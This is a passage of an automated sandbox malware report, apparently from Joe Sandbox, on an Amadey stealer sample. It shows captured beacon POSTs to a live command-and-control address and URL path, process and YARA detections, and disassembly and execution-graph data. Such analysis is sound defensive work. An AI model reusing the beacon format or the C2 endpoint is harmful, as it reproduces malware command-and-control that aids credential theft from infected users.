                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            142192.168.2.449879185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:20.984036922 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:21.766587019 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:21 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            143192.168.2.449880185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:21.777057886 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:22.489363909 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:22 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            144192.168.2.449881185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:22.617474079 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:23.325001955 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:23 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            145192.168.2.449882185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:23.469719887 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:24.158423901 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:24 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            146192.168.2.449883185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:24.283174038 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:24.978569984 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:24 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            147192.168.2.449884185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:24.993017912 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:25.712681055 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:25 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            148192.168.2.449885185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:25.831515074 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:22:26.531402111 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:26 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            149192.168.2.449886185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:22:26.546818018 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:22:27.260195971 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:22:27 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Statistics

                            CPU Usage

                            Click to jump to process

                            Memory Usage

                            Click to jump to process

                            High Level Behavior Distribution

                            Click to dive into process behavior distribution

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Target ID:0
                            Start time:18:20:02
                            Start date:26/09/2024
                            Path:C:\Users\user\Desktop\file.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\Desktop\file.exe"
                            Imagebase:0x280000
                            File size:1'877'504 bytes
                            MD5 hash:D47F5061136CBB1FC4D56BC8E0355C12
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1753740859.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1794273100.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:1
                            Start time:18:20:07
                            Start date:26/09/2024
                            Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
                            Imagebase:0xce0000
                            File size:1'877'504 bytes
                            MD5 hash:D47F5061136CBB1FC4D56BC8E0355C12
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1806644631.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                            Antivirus matches:
                            • Detection: 100%, Avira
                            • Detection: 100%, Joe Sandbox ML
                            • Detection: 53%, ReversingLabs
                            Reputation:low
                            Has exited:false

                            General

                            Target ID:2
                            Start time:18:20:07
                            Start date:26/09/2024
                            Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Imagebase:0xce0000
                            File size:1'877'504 bytes
                            MD5 hash:D47F5061136CBB1FC4D56BC8E0355C12
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1849863375.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1809437017.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:6
                            Start time:18:21:00
                            Start date:26/09/2024
                            Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Imagebase:0xce0000
                            File size:1'877'504 bytes
                            MD5 hash:D47F5061136CBB1FC4D56BC8E0355C12
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2368636814.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2328198252.0000000005350000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:8
                            Start time:18:22:00
                            Start date:26/09/2024
                            Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Imagebase:0xce0000
                            File size:1'877'504 bytes
                            MD5 hash:D47F5061136CBB1FC4D56BC8E0355C12
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2934260432.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2978601103.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:9
                            Start time:18:23:00
                            Start date:26/09/2024
                            Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Imagebase:0xce0000
                            File size:1'877'504 bytes
                            MD5 hash:D47F5061136CBB1FC4D56BC8E0355C12
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.3527716082.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.3570626421.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:10
                            Start time:18:24:00
                            Start date:26/09/2024
                            Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            Imagebase:0xce0000
                            File size:1'877'504 bytes
                            MD5 hash:D47F5061136CBB1FC4D56BC8E0355C12
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.4135878691.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.4177804471.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                            Reputation:low
                            Has exited:true

                            Disassembly

                            Reset < >

                              Executed Functions

                              Function 04FB05E1 Relevance: .0, Instructions: 33COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1796252225.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_4fb0000_file.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8453a02821da6106a2f5ffe57508ca92121903cee5bf4c8e853673c88a6f16e1
                              • Instruction ID: 8c528a5c38171de614fddc938cedf00e5ef51501ba20c0dc0c30e56a4e357839
                              • Opcode Fuzzy Hash: 8453a02821da6106a2f5ffe57508ca92121903cee5bf4c8e853673c88a6f16e1
                              • Instruction Fuzzy Hash: 07F09732508210CFC301AB7390951EF77E6BF83210B5028ABE482D7951FF22A897B6D2
                              Function 04FB05AE Relevance: .0, Instructions: 29COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1796252225.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_4fb0000_file.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 826eeb8a4dbadd475c8cbda70d506f3788d4aea367c2bbbd41c19346d7e13886
                              • Instruction ID: 2e0b2789415525652493bd9439ef52fc131897b3dfd316e37ec1fca5cb04e8d9
                              • Opcode Fuzzy Hash: 826eeb8a4dbadd475c8cbda70d506f3788d4aea367c2bbbd41c19346d7e13886
                              • Instruction Fuzzy Hash: 43E0687720C201DE40006A2350409FB7B976B832317120557A0C3B2A50BEA1358F76EF

                              Non-executed Functions

                              Function 04FB08CB Relevance: 1.4, Strings: 1, Instructions: 188COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1796252225.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_4fb0000_file.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4]G
                              • API String ID: 0-3952570547
                              • Opcode ID: ef58485533c73242a1ede38d48917826a721c47d7ada1fe501e66d7d3f5b7c28
                              • Instruction ID: fd72a028b4a2d8be9b158d707a2feaadde2346cbf4bb5c664f10b2d24a3b7210
                              • Opcode Fuzzy Hash: ef58485533c73242a1ede38d48917826a721c47d7ada1fe501e66d7d3f5b7c28
                              • Instruction Fuzzy Hash: BE417DE760C3816EF10195A26B549FB7B6DE7C3730730842AF4C2C7202FA94590B61F1
                              Function 04FB09F8 Relevance: 1.3, Strings: 1, Instructions: 77COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1796252225.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_4fb0000_file.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4]G
                              • API String ID: 0-3952570547
                              • Opcode ID: 84942738a55365275818affe508b1753acfedec09b14e1e0af6af4f632de27b0
                              • Instruction ID: 6b885737ac4b9623ccf2bde4eda2baa4fc1cb152a56a85e7b4664376dc705dbb
                              • Opcode Fuzzy Hash: 84942738a55365275818affe508b1753acfedec09b14e1e0af6af4f632de27b0
                              • Instruction Fuzzy Hash: 1901A1EB60C3416EF211D5A16A54AFB7BBEEAD3730734886EF482C9142E695090F5272

                              Execution Graph

                              Execution Coverage:6.8%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:5.2%
                              Total number of Nodes:559
                              Total number of Limit Nodes:20
                              execution_graph 14047 cfb85e 14052 cfb6e5 14047->14052 14049 cfb886 14060 cfb648 14049->14060 14051 cfb89f 14053 cfb6f1 Concurrency::details::_Reschedule_chore 14052->14053 14055 cfb722 14053->14055 14070 cfc5dc 14053->14070 14055->14049 14058 cfb70c __Mtx_unlock 14059 ce2ad0 8 API calls 14058->14059 14059->14055 14061 cfb654 Concurrency::details::_Reschedule_chore 14060->14061 14062 cfc5dc GetSystemTimePreciseAsFileTime 14061->14062 14069 cfb6ae 14061->14069 14063 cfb669 14062->14063 14064 ce2ad0 8 API calls 14063->14064 14065 cfb66f __Mtx_unlock 14064->14065 14066 ce2ad0 8 API calls 14065->14066 14067 cfb68c __Cnd_broadcast 14066->14067 14068 ce2ad0 8 API calls 14067->14068 14067->14069 14068->14069 14069->14051 14078 cfc382 14070->14078 14072 cfb706 14073 ce2ad0 14072->14073 14074 ce2adc 14073->14074 14075 ce2ada 14073->14075 14095 cfc19a 14074->14095 14075->14058 14079 cfc3aa 14078->14079 14080 cfc3d8 14078->14080 14079->14072 14080->14079 14084 cfce9b 14080->14084 14082 cfc42d __Xtime_diff_to_millis2 14082->14079 14083 cfce9b _xtime_get GetSystemTimePreciseAsFileTime 14082->14083 14083->14082 14085 cfceaa 14084->14085 14087 cfceb7 __aulldvrm 14084->14087 14085->14087 14088 cfce74 14085->14088 14087->14082 14091 cfcb1a 14088->14091 14092 cfcb2b GetSystemTimePreciseAsFileTime 14091->14092 14093 cfcb37 14091->14093 14092->14093 14093->14087 14096 cfc1c2 14095->14096 14097 cfc1a4 14095->14097 14096->14096 14097->14096 14099 cfc1c7 14097->14099 14102 ce2aa0 14099->14102 14101 cfc1de std::_Xinvalid_argument 14101->14097 14116 cfbe0f 14102->14116 14104 ce2abf 14104->14101 14105 d18aaf __cftof 2 API calls 14107 d16c26 14105->14107 14106 ce2ab4 14106->14104 14106->14105 14108 d16c43 14107->14108 14109 d16c35 14107->14109 14111 d168bd 2 API calls 14108->14111 14110 d16c99 7 API calls 14109->14110 14112 d16c3f 14110->14112 14113 d16c5d 14111->14113 14112->14101 14114 d16c99 7 API calls 14113->14114 14115 d16c71 ___free_lconv_mon 14113->14115 14114->14115 14115->14101 14119 cfcb61 14116->14119 14120 cfcb6f InitOnceExecuteOnce 14119->14120 14122 cfbe22 14119->14122 14120->14122 14122->14106 14250 d16974 14251 d16982 14250->14251 14252 d1698c 14250->14252 14253 d168bd 2 API calls 14252->14253 14254 d169a6 ___free_lconv_mon 14253->14254 14142 cfb7e9 14143 cfb6e5 9 API calls 14142->14143 14145 cfb811 Concurrency::details::_Reschedule_chore 14143->14145 14144 cfb836 14147 cfb648 9 API calls 14144->14147 14145->14144 14149 cfcade 14145->14149 14148 cfb84e 14147->14148 14150 cfcafc 14149->14150 14151 cfcaec TpCallbackUnloadDllOnCompletion 14149->14151 14150->14144 14151->14150 14153 d16559 14154 d163f7 __cftof 2 API calls 14153->14154 14155 d1656a 14154->14155 13658 d16beb 13659 d16bf7 13658->13659 13670 d18aaf 13659->13670 13661 d16c26 13662 d16c43 13661->13662 13663 d16c35 13661->13663 13676 d168bd 13662->13676 13664 d16c99 7 API calls 13663->13664 13666 d16c3f 13664->13666 13667 d16c5d 13669 d16c71 ___free_lconv_mon 13667->13669 13679 d16c99 13667->13679 13671 d18ab4 __cftof 13670->13671 13674 d18abf 13671->13674 13693 d1d4f4 13671->13693 13690 d1651d 13674->13690 13675 d18af2 __cftof __dosmaperr 13675->13661 13710 d1683a 13676->13710 13678 d168cf 13678->13667 13680 d16cc4 __cftof 13679->13680 13687 d16ca7 __cftof __dosmaperr 13679->13687 13681 d16d06 CreateFileW 13680->13681 13682 d16cea __cftof __dosmaperr 13680->13682 13683 d16d38 13681->13683 13684 d16d2a 13681->13684 13682->13669 13758 d16d77 13683->13758 13746 d16e01 GetFileType 13684->13746 13687->13669 13688 d16d33 __cftof 13688->13682 13689 d16d69 CloseHandle 13688->13689 13689->13682 13698 d163f7 13690->13698 13695 d1d500 __cftof 13693->13695 13694 d1d55c __cftof __dosmaperr 13694->13674 13695->13694 13696 d1651d __cftof 2 API calls 13695->13696 13697 d1d6ee __cftof __dosmaperr 13696->13697 13697->13674 13700 d16405 __cftof 13698->13700 13699 d16450 13699->13675 13700->13699 13703 d1645b 13700->13703 13708 d1a1c2 GetPEB 13703->13708 13705 d16465 13706 d1646a GetPEB 13705->13706 13707 d1647a __cftof 13705->13707 13706->13707 13709 d1a1dc __cftof 13708->13709 13709->13705 13711 d16851 13710->13711 13712 d1685a 13710->13712 13711->13678 13712->13711 13716 d1b4bb 13712->13716 13717 d16890 13716->13717 13718 d1b4ce 13716->13718 13720 d1b4e8 13717->13720 13718->13717 13724 d1f46b 13718->13724 13721 d1b510 13720->13721 13722 d1b4fb 13720->13722 13721->13711 13722->13721 13729 d1e571 13722->13729 13726 d1f477 __cftof 13724->13726 13725 d1f4c6 13725->13717 13726->13725 13727 d18aaf __cftof 2 API calls 13726->13727 13728 d1f4eb 13727->13728 13730 d1e57b 13729->13730 13733 d1e489 13730->13733 13732 d1e581 13732->13721 13734 d1e495 __cftof ___free_lconv_mon 13733->13734 13735 d1e4b6 13734->13735 13736 d18aaf __cftof 2 API calls 13734->13736 13735->13732 13737 d1e528 13736->13737 13741 d1e564 13737->13741 13742 d1a5ee 13737->13742 13741->13732 13743 d1a611 13742->13743 13744 d18aaf __cftof 2 API calls 13743->13744 13745 d1a687 13744->13745 13747 d16e3c __cftof 13746->13747 13757 d16ed2 __dosmaperr 13746->13757 13748 d16e75 GetFileInformationByHandle 13747->13748 13747->13757 13749 d16e8b 13748->13749 13748->13757 13763 d170c9 13749->13763 13753 d16ea8 13754 d16f71 SystemTimeToTzSpecificLocalTime 13753->13754 13755 d16ebb 13754->13755 13756 d16f71 SystemTimeToTzSpecificLocalTime 13755->13756 13756->13757 13757->13688 13759 d16d85 13758->13759 13760 d16d8a __dosmaperr 13759->13760 13761 d170c9 2 API calls 13759->13761 13760->13688 13762 d16da3 13761->13762 13762->13688 13765 d170df _wcsrchr 13763->13765 13764 d16e97 13773 d16f71 13764->13773 13765->13764 13777 d1b9e4 13765->13777 13767 d17123 13767->13764 13768 d1b9e4 2 API calls 13767->13768 13769 d17134 13768->13769 13769->13764 13770 d1b9e4 2 API calls 13769->13770 13771 d17145 13770->13771 13771->13764 13772 d1b9e4 2 API calls 13771->13772 13772->13764 13774 d16f89 13773->13774 13775 d16fa9 SystemTimeToTzSpecificLocalTime 13774->13775 13776 d16f8f 13774->13776 13775->13776 13776->13753 13778 d1b9f2 13777->13778 13781 d1b9f8 __cftof __dosmaperr 13778->13781 13782 d1ba2d 13778->13782 13780 d1ba28 13780->13767 13781->13767 13783 d1ba57 13782->13783 13785 d1ba3d __cftof __dosmaperr 13782->13785 13784 d1683a __cftof 2 API calls 13783->13784 13783->13785 13787 d1ba81 13784->13787 13785->13780 13786 d1b9a5 GetPEB GetPEB 13786->13787 13787->13785 13787->13786 14015 ce86b0 14016 ce86b6 14015->14016 14017 ce86d6 14016->14017 14020 d166e7 14016->14020 14019 ce86d0 14022 d166f3 14020->14022 14021 d166fd __cftof __dosmaperr 14021->14019 14022->14021 14024 d16670 14022->14024 14025 d16692 14024->14025 14027 d1667d __cftof __dosmaperr ___free_lconv_mon 14024->14027 14025->14027 14028 d19ef9 14025->14028 14027->14021 14029 d19f36 14028->14029 14030 d19f11 14028->14030 14029->14027 14030->14029 14032 d202f8 14030->14032 14033 d20304 14032->14033 14035 d2030c __cftof __dosmaperr 14033->14035 14036 d203ea 14033->14036 14035->14029 14037 d2040c 14036->14037 14038 d20410 __cftof __dosmaperr 14036->14038 14037->14038 14040 d1fb7f 14037->14040 14038->14035 14041 d1fbcc 14040->14041 14042 d1683a __cftof 2 API calls 14041->14042 14045 d1fbdb __cftof 14042->14045 14043 d1d2e9 2 API calls 14043->14045 14044 d1fe7b 14044->14038 14045->14043 14045->14044 14046 d1c4ea GetPEB GetPEB __fassign 14045->14046 14046->14045 14123 cee410 14125 cee419 14123->14125 14126 cee435 14123->14126 14125->14126 14127 cee270 14125->14127 14128 cee280 __dosmaperr 14127->14128 14129 d18979 2 API calls 14128->14129 14131 cee2bd std::_Xinvalid_argument 14129->14131 14130 cee435 14130->14125 14131->14130 14132 cee270 2 API calls 14131->14132 14132->14131 14133 cedfd0 recv 14134 cee032 recv 14133->14134 14135 cee067 recv 14134->14135 14136 cee0a1 